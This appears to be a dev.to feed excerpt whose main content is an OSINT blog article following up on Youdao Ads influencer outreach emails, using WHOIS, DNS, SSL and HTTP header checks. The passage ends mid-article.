&lt;p&gt;Before paying for any platform, spend 10 minutes on these checks.&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Building a developer community from scratch is genuinely hard.&lt;br&gt;
One person doing it alone deserves credit for trying.&lt;/p&gt;

&lt;p&gt;But none of that justifies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Claiming a founding date 3 years before the domain existed&lt;/li&gt;
&lt;li&gt;Running Google AdSense while explicitly stating you don't run ads&lt;/li&gt;
&lt;li&gt;Displaying user counts 70% higher than the database supports&lt;/li&gt;
&lt;li&gt;Charging $10/month for access to ~37 active writers&lt;/li&gt;
&lt;li&gt;Operating with both domains blocked from renewal&lt;/li&gt;
&lt;li&gt;Running bulk outreach campaigns with mail merge errors&lt;/li&gt;
&lt;li&gt;Blocking IPs rather than responding to documented findings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Developers deserve accurate information about the platforms they invest their time, content, and money in.&lt;/p&gt;

&lt;p&gt;This article exists because they weren't getting it.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;All findings are based exclusively on public record data: WHOIS lookups, HTML source code, HTTP headers, pagination mathematics, and normal account usage. No unauthorized access was performed or implied.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Have you received an email from "Peter Jones"? What name did they use? Share below.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Related:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/freerave/exposed-the-youdao-ads-influencer-marketing-scam-technical-analysis-red-flags-5cag"&gt;EXPOSED: The Youdao Ads Influencer Marketing Scam&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/freerave/part-2-i-published-a-scam-expose-netease-sent-a-takedown-request-then-they-rewrote-their-entire-hip"&gt;PART 2: I Published a Scam Expose. NetEase Sent a Takedown Request. Then They Rewrote Their Entire Operation.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>webdev</category>
      <category>security</category>
      <category>osint</category>
    </item>
    <item>
      <title>PART 2: I Published a Scam Expose. NetEase Sent a Takedown Request. Then They Rewrote Their Entire Operation.</title>
      <dc:creator>freerave</dc:creator>
      <pubDate>Wed, 29 Apr 2026 13:04:12 +0000</pubDate>
      <link>https://dev.to/freerave/part-2-i-published-a-scam-expose-netease-sent-a-takedown-request-then-they-rewrote-their-entire-hip</link>
      <guid>https://dev.to/freerave/part-2-i-published-a-scam-expose-netease-sent-a-takedown-request-then-they-rewrote-their-entire-hip</guid>
      <description>&lt;h2&gt;
  
  
  18 days after exposing Youdao Ads, they sent a takedown request, their trust score dropped from 28.8 to 15, their dead site came back to life, and they rewrote their entire outreach from scratch. A full forensic timeline with SSL certs, WHOIS data, DNS chains, and the email that proves everything.
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📌 This is Part 2 of an ongoing investigation.&lt;/strong&gt;&lt;br&gt;
Part 1: &lt;a href="https://dev.to/freerave/exposed-the-youdao-ads-influencer-marketing-scam-technical-analysis-red-flags-5cag"&gt;EXPOSED: The Youdao Ads Influencer Marketing Scam — Technical Analysis &amp;amp; Red Flags&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;I want to be upfront about something before we start.&lt;/p&gt;

&lt;p&gt;When I published Part 1, I called this operation a scam. After 18 days of forensic follow-up, the picture is more complex — and significantly more interesting.&lt;/p&gt;

&lt;p&gt;This is not a retraction. This is an upgrade.&lt;/p&gt;




&lt;h2&gt;
  
  
  The 18-Day Timeline That Changes Everything
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Apr  5, 2026  → SSL certificate issued for infunease.youdaoads.com
Apr 11, 2026  → Mass cold outreach emails sent (anjiaqi06@corp.netease.com)
               → infunease.youdaoads.com returns 403 Forbidden
               → Scam Detector score: 28.8/100
               → Article published

Apr 14, 2026  → WHOIS record updated (3 days post-article)

Apr 28, 2026  → Takedown email received (youdaoads@rd.netease.com)
               → Public comment posted on my article (@YoudaoAds on dev.to)
               → infunease.youdaoads.com returns 200 OK (same day)
               → Scam Detector score drops further: 15/100
               → No documentation provided despite formal request

Apr 29, 2026  → NEW email arrives (tangxi03@corp.netease.com)
               → Subject: "Official Collaboration Invite for Creators"
               → Professional NetEase 網易 branding
               → Zero emojis. Zero urgency. Zero WhatsApp spam.
               → Every single concern from my article — addressed.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That last entry. That's what this article is about.&lt;/p&gt;




&lt;h2&gt;
  
  
  Part 1 Recap: What I Found
&lt;/h2&gt;

&lt;p&gt;On April 11, I received this email:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; anjiaqi06@corp.netease.com&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Don't scroll past 【Youdao Ads】– a paid collab 
         that's actually your vibe 😉&lt;/span&gt;

💰 Budget's ready – just name your rate
⏳ Spots are filling up – a few other creators in your 
   space are already looking at them

[Youdao Ads Link] [Discord] [WhatsApp]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Technical analysis showed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://infunease.youdaoads.com
HTTP/1.1 403 Forbidden
x-deny-reason: host_not_allowed
server: envoy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Third-party security score: &lt;strong&gt;28.8/100 — "Risky. Dubious. Perilous."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The article went live. Google indexed it. Google AI started citing it.&lt;/p&gt;

&lt;p&gt;Then came the reaction.&lt;/p&gt;




&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpcxmhz44igd6vuev162.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxpcxmhz44igd6vuev162.png" alt="The original April 11 outreach — emoji-heavy, urgency-driven, WhatsApp-first" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  April 28: The Reaction
&lt;/h2&gt;

&lt;p&gt;Exactly 17 days after publication, two messages arrived on the same day.&lt;/p&gt;

&lt;h3&gt;
  
  
  Message 1: The Takedown Email
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; youdaoads@rd.netease.com&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Clarification regarding your recent article on Youdao Ads&lt;/span&gt;

The misunderstandings in your article are currently 
influencing Google's AI summaries, which is causing 
severe and unearned damage to our brand.

We kindly request that you consider removing the post.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the sender: &lt;code&gt;rd.netease.com&lt;/code&gt; — NetEase's R&amp;amp;D subdomain.&lt;br&gt;
The original email came from &lt;code&gt;corp.netease.com&lt;/code&gt; — corporate division.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Two different NetEase subdomains. Never explained.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;
  
  
  Message 2: The Public Comment
&lt;/h3&gt;

&lt;p&gt;Simultaneously, a dev.to account named "Youdao Ads" commented directly on my article:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"We have thoroughly verified our domain and technical infrastructure. It is fully operational, passes mainstream security protocols, and is not being blocked by any standard security infrastructures. Any localized access issue may be due to temporary network configurations, not a systemic block."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbl7mdkgrzk92sdl3q2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqbl7mdkgrzk92sdl3q2l.png" alt="The public comment appeared the same day as the takedown email — April 28" width="800" height="617"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh4vs1ju7b4ug9nt9ezi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flh4vs1ju7b4ug9nt9ezi.png" alt="Note the domain switch: corp.netease.com → rd.netease.com — never explained" width="800" height="382"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  April 28: The Infrastructure Comes Alive
&lt;/h2&gt;

&lt;p&gt;On the exact same day as the takedown request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# April 11 — time of original article&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://infunease.youdaoads.com
HTTP/1.1 403 Forbidden
x-deny-reason: host_not_allowed
server: envoy

&lt;span class="c"&gt;# April 28 — day of takedown request  &lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; https://infunease.youdaoads.com
HTTP/2 200
server: YDWS
x-powered-by: Next.js
content-length: 374476
x-nextjs-cache: HIT
cache-control: s-maxage&lt;span class="o"&gt;=&lt;/span&gt;31536000, stale-while-revalidate
etag: &lt;span class="s2"&gt;"rcngvqns1y801t"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A full Next.js production deployment. Live. Professional.&lt;/p&gt;

&lt;p&gt;On the same day they asked me to remove my article.&lt;/p&gt;




&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqo1iqy37objdyjdnix92.gif" alt="403 on April 11. 200 on April 28. Same day as the takedown request." width="640" height="205"&gt;
&lt;/h2&gt;

&lt;h2&gt;
  
  
  The SSL Certificate: Timing Is Evidence
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; | openssl s_client &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-servername&lt;/span&gt; infunease.youdaoads.com &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-connect&lt;/span&gt; infunease.youdaoads.com:443 2&amp;gt;/dev/null &lt;span class="se"&gt;\&lt;/span&gt;
  | openssl x509 &lt;span class="nt"&gt;-noout&lt;/span&gt; &lt;span class="nt"&gt;-dates&lt;/span&gt;

&lt;span class="nv"&gt;notBefore&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Apr  5 00:00:00 2026 GMT
&lt;span class="nv"&gt;notAfter&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Jul  4 23:59:59 2026 GMT
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Certificate issued: April 5&lt;/strong&gt; — 6 days before the mass email campaign.&lt;br&gt;
&lt;strong&gt;90-day certificate&lt;/strong&gt; — short-term, automated issuance.&lt;/p&gt;

&lt;p&gt;The infrastructure was being built in the week before the emails went out.&lt;/p&gt;


&lt;h2&gt;
  
  
  WHOIS: The Record That Updated After My Article
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois youdaoads.com

Domain Name:     YOUDAOADS.COM
Creation Date:   2021-05-25T11:15:53Z   ← 5 years old
Updated Date:    2026-04-14T05:35:38Z   ← 3 days after my article
Registrar:       Alibaba Cloud Computing &lt;span class="o"&gt;(&lt;/span&gt;Beijing&lt;span class="o"&gt;)&lt;/span&gt; Co., Ltd.
Registrant:      bei jing, CN
Name Servers:    REM1.YODAO.COM
                 REM2.YODAO.COM  
                 REM3.YODAO.COM
DNSSEC:          unsigned
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;The domain is legitimate and 5 years old.&lt;/p&gt;

&lt;p&gt;But the record was updated &lt;strong&gt;April 14&lt;/strong&gt; — 3 days after the article.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois infunease.youdaoads.com
No match &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="s2"&gt;"INFUNEASE.YOUDAOADS.COM"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The subdomain returns no WHOIS data at all.&lt;/p&gt;




&lt;h2&gt;
  
  
  DNS Chain: Following the Infrastructure
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;dig infunease.youdaoads.com +short

youdaoads.youdao.com.
ead.alb.ntes53.netease.com.
hk-g1-hz.alb.ntes53.netease.com.
156.225.180.151
156.225.180.152
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full resolution chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;infunease.youdaoads.com
        ↓ CNAME
youdaoads.youdao.com
        ↓ CNAME
ead.alb.ntes53.netease.com      ← NetEase Load Balancer
        ↓ CNAME
hk-g1-hz.alb.ntes53.netease.com ← Hong Kong Cluster
        ↓ A Records
156.225.180.151
156.225.180.152
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;whois 156.225.180.151

inetnum:   156.225.180.0 - 156.225.180.255
netname:   HongKong_NetEase_Interactive_Entertainment_Limited
descr:     HongKong NetEase Interactive Entertainment Limited
country:   HK
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is 100% genuine NetEase infrastructure.&lt;br&gt;
Hong Kong datacenter. Enterprise load balancers. The real thing.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm5dc7hn7aulju3g959he.png" alt="DNS and WHOIS resolution proving NetEase infrastructure" width="800" height="838"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  The Trust Scores: Watching the Algorithm React in Real-Time
&lt;/h2&gt;

&lt;p&gt;This is perhaps the most fascinating part of the investigation. Watch how the independent automated trust score (Scam Detector) reacted to their infrastructure changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;April 11:&lt;/strong&gt; Score &lt;strong&gt;28.8 / 100&lt;/strong&gt;. (The site is returning 403 Forbidden).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 28 (Morning):&lt;/strong&gt; Score drops to &lt;strong&gt;15 / 100&lt;/strong&gt;. (Community starts flagging the emails).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 28 (Evening):&lt;/strong&gt; I receive the takedown request. &lt;em&gt;The site goes live (200 OK).&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;April 29 (Today):&lt;/strong&gt; Score jumps to &lt;strong&gt;60.8 / 100&lt;/strong&gt;. (Active. Medium-Risk).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why the sudden jump?&lt;/strong&gt; Because automated security scanners rely heavily on HTTP responses. When the site was a dead &lt;code&gt;403 Forbidden&lt;/code&gt; sending mass cold emails, it looked like a classic hit-and-run scam. &lt;/p&gt;

&lt;p&gt;The moment they deployed their Next.js application (to prove they are legitimate after my article exposed them), the scanners re-evaluated them as an "Active" website and bumped their score.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The takeaway for the infosec community:&lt;/strong&gt;&lt;br&gt;
Trust scores don't measure operational ethics; they measure infrastructure configuration. They didn't become a "better" company overnight — they just finally turned their servers on because they were forced to.&lt;/p&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31ataa4agaqffu74uqp7.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F31ataa4agaqffu74uqp7.gif" alt="Watch the algorithm get manipulated in real-time. The trust score jumped from 15 to 60.8 the moment they switched from a 403 Forbidden error to a live Next.js deployment. Infrastructure fixes = Instant (but deceptive) trust." width="640" height="335"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3&gt;
  
  
  ⚠️ UPDATE — April 29, 2026: The Trust Score Discrepancy
&lt;/h3&gt;

&lt;p&gt;ScamAdviser now shows the root domain (youdaoads.com) as &lt;strong&gt;"Very Likely Safe" with a score of 100/100.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;However, context is everything in OSINT:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The evaluation says: &lt;em&gt;"Last Update: 3 weeks ago"&lt;/em&gt; (This is an old scan of the root domain, conducted well before the mass outreach campaign).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Business Model:&lt;/strong&gt; Unlike fully independent scanners, ScamAdviser offers paid "Business Plans" that allow companies to actively manage their trust profiles and dispute negative signals. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Two platforms. Same domain.&lt;/strong&gt;&lt;br&gt;
Scam Detector (Strictly community &amp;amp; algorithm-driven): &lt;strong&gt;15/100 — "Risky. Dubious. Perilous."&lt;/strong&gt;&lt;br&gt;
ScamAdviser (Commercial platform offering reputation management): &lt;strong&gt;100/100 — "Very Likely Safe."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Moral of the story: A 100/100 automated score on a 5-year-old root domain doesn't legitimize the shady tactics of a 3-week-old subdomain.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Draw your own conclusions.&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  The Network Analysis: You're Being Watched
&lt;/h2&gt;

&lt;p&gt;Opening DevTools on the login page:&lt;/p&gt;
&lt;h3&gt;
  
  
  Visit 1: 16 Requests
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;16 / 24 requests
POST → https://k.clarity.ms/collect
Status: 204 No Content
Host: k.clarity.ms
Origin: https://infunease.youdaoads.com
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  After a Few Minutes of Analysis: 47 Requests
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;47 / 63 requests
62.5 kB / 63.5 kB transferred
Server: YDWS
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Every action generated a Clarity batch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✓ Page load
✓ Mouse movement  
✓ DevTools opened
✓ Network tab clicked
✓ Header inspection
✓ Page scroll
✓ Every click
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Second Endpoint — Origin Revealed
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Request URL: https://overseacdn.ydstatic.com/overseacdn/
             advertising_platform/static/intl/zh-CN.json
             ?v=2760e8bced

Remote Address:  23.48.214.94:443
Server:          YDWS
Last-Modified:   Fri, 24 Apr 2026 06:28:08 GMT
Content-Type:    application/json
Akamai-Mon-lucid-Del: 1273563
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;overseacdn.ydstatic.com&lt;/code&gt; — Youdao Static CDN.&lt;br&gt;
&lt;code&gt;zh-CN.json&lt;/code&gt; — Chinese Simplified localization file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This platform was built for the Chinese market and localized outward.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Akamai headers confirm enterprise-grade CDN infrastructure — not a small operation.&lt;/p&gt;
&lt;h3&gt;
  
  
  What Their Clarity Dashboard Saw
&lt;/h3&gt;

&lt;p&gt;While I was analyzing their headers, their session recording showed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;📍 Location:   Egypt 🇪🇬
🖥️  Browser:   Chromium 147
⏱️  Duration:  6+ minutes
🖱️  Behavior:  DevTools open
                Network tab active  
                63 requests triggered
                Headers under inspection
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;They were watching me watch them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important:&lt;/strong&gt; Clarity masks passwords and email inputs automatically.&lt;br&gt;
What it captures from page load — before any signup — is full behavioral profiling.&lt;/p&gt;


&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1dfnwd1n74d3qjk3jy0y.png" alt="47 out of 63 requests going to Microsoft Clarity and Youdao CDN — active from page load" width="800" height="401"&gt;
&lt;/h2&gt;
&lt;h2&gt;
  
  
  April 29: The Email That Proves Everything
&lt;/h2&gt;

&lt;p&gt;One day after the takedown request. One day after the site went live.&lt;/p&gt;

&lt;p&gt;A third email arrived.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;From&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; tangxi03@corp.netease.com&lt;/span&gt;
&lt;span class="nt"&gt;Subject&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Official Collaboration Invite for Creators | 
         Youdao Ads by NetEase Youdao&lt;/span&gt;
&lt;span class="nt"&gt;Date&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt; Apr 29, 2026, 6:01 AM&lt;/span&gt;
&lt;span class="nt"&gt;mailed-by&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt;  corp.netease.com&lt;/span&gt;
&lt;span class="nt"&gt;signed-by&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="na"&gt;  corp.netease.com&lt;/span&gt;
&lt;span class="nt"&gt;⭐ Important according to Google
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The body:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight email"&gt;&lt;code&gt;&lt;span class="nt"&gt;This email is from Youdao Ads — the official influencer 
marketing platform of NetEase Youdao, a subsidiary of 
the leading global technology and entertainment company 
NetEase.

Why partner with Youdao Ads?
▸ Exclusive opportunities with top global brands
▸ Guaranteed paid campaigns with transparent pricing, 
  no upfront fees, and on-time secure payments
▸ Full dedicated support through every step of your 
  collaboration, from onboarding to payment settlement

Please note that this is an automated notification 
email, and we are unable to respond to direct replies.

Best regards,
Youdao Ads
[NetEase 網易 | youdao Ads logo]
Global leading influencer marketing platform
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  &lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdrpsgz33sz8xd8gbuqki.png" alt="The April 29 email — professional branding, official tone, every concern addressed" width="800" height="417"&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8pehpqygrhmcjgp1vsan.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8pehpqygrhmcjgp1vsan.png" alt="Headers confirm genuine NetEase corporate infrastructure — same domain, new sender" width="800" height="401"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Before &amp;amp; After: My Article Changed Their Outreach
&lt;/h2&gt;

&lt;p&gt;This is the most significant finding in this entire investigation.&lt;/p&gt;

&lt;h3&gt;
  
  
  April 11 Email (Before Article):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❌ Subject: "Don't scroll past – a paid collab that's 
            actually your vibe 😉"
❌ Emoji-heavy, casual, unprofessional
❌ "Budget's ready – just name your rate"
❌ "Spots are filling up" (artificial urgency)
❌ WhatsApp group links
❌ Discord community invites
❌ Zero company branding
❌ Generic "your vibe" personalization
❌ Contact: WhatsApp only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  April 29 Email (After Article):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✅ Subject: "Official Collaboration Invite for Creators | 
            Youdao Ads by NetEase Youdao"
✅ Professional tone, zero emojis
✅ "No upfront fees" ← directly addresses concern I raised
✅ "No pressure to sign up immediately" ← addresses urgency concern
✅ "Transparent pricing" ← addresses opacity concern
✅ Official NetEase 網易 logo and branding
✅ "Official service mailbox: ydcommunity@service.netease.com"
✅ Zero WhatsApp group links
✅ Zero Discord spam
✅ Proper company identification from line 1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every single red flag I documented in Part 1.&lt;br&gt;
Addressed. One by one. In the next outreach email.&lt;/p&gt;


&lt;h2&gt;
  
  
  What This Means: The Definitive Analysis
&lt;/h2&gt;

&lt;p&gt;After 18 days of forensic investigation, here is where the evidence leads:&lt;/p&gt;
&lt;h3&gt;
  
  
  What is confirmed:
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;The infrastructure is 100% genuine NetEase.&lt;/strong&gt;&lt;br&gt;
DNS chain, IP ownership, email authentication, CDN — all resolve to NetEase Hong Kong.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The domain is 5 years old.&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;youdaoads.com&lt;/code&gt; was registered May 2021. This is not a freshly created phishing domain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LinkedIn confirms the entity.&lt;/strong&gt;&lt;br&gt;
